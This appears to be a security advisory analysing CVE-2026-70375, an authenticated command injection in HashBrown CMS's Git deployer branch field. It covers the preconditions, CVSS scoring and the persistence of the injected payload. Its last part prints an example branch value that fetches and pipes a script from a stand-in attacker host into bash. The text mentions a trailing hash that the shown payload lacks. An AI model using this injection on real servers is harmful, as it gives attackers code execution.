HashBrown CMS CVE-2026-70375

Exploitation requires a valid HashBrown CMS user account with sufficient project-level permissions to read and modify a project's Git deployer configuration, specifically the branch field in the deployer settings panel. The Git deployer integration must be configured and active for at least one project - projects using other deployer types or no deployer are not affected. After planting the payload, the attacker need not take any further action; any subsequent deployer operation triggered by any user (including administrators) will invoke pullRepo() and execute the injected command. Exploitation is concretely limited by: (1) the attacker must possess valid CMS credentials with project configuration rights, ruling out unauthenticated external attackers; (2) the target project must actively use the Git deployer; (3) the injectable characters are limited to metacharacters other than single-quote - payloads cannot use single-quote characters as they are blocked by GitDeployer.validate(), so command strings relying on single-quoted shell arguments must use alternative quoting or encoding.

The CVSS 3.1 score of 8.8 (High) with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately represents the technical severity: the attack is network-reachable, requires no complex conditions, and yields full confidentiality, integrity, and availability impact on the server. The primary real-world risk limiter is PR:L - exploitation requires a valid authenticated CMS account with the ability to modify project-level Git deployer settings, which is not a capability granted to the lowest-privilege users in a well-administered deployment. No EPSS score was provided in the available data, preventing quantitative exploitation probability assessment. The vulnerability carries no CISA KEV listing, and no public exploit code has been identified, suggesting it has not yet been widely weaponized despite being reported by TuranSec with an advisory. Risk is materially elevated in multi-tenant CMS environments or SaaS deployments where editor-level users control deployer configuration, and substantially lower in tightly access-controlled single-tenant installations. The persistence of the payload - executing on every future deployer operation by any user - amplifies impact compared to single-shot injection vulnerabilities. The clear lineage to CVE-2020-6948 demonstrates that this code has been targeted before, increasing the credibility of future exploit development.

An authenticated CMS user with project configuration access navigates to the Git deployer settings and sets the branch field to a value such as master;curl http://attacker.example/shell.sh|bash

- the trailing hash comments out any trailing git arguments, preventing parse errors. On the next deployer operation triggered by any user action such as a media upload or content publish, HashBrown CMS invokes git checkout master;curl http://attacker.example/shell.sh|bash

as a shell command, executing the injected payload with the privileges of the web server process. No public exploit code has been identified, but the injection requires no special tooling - a standard browser, CMS credentials, and knowledge of the branch field location are sufficient.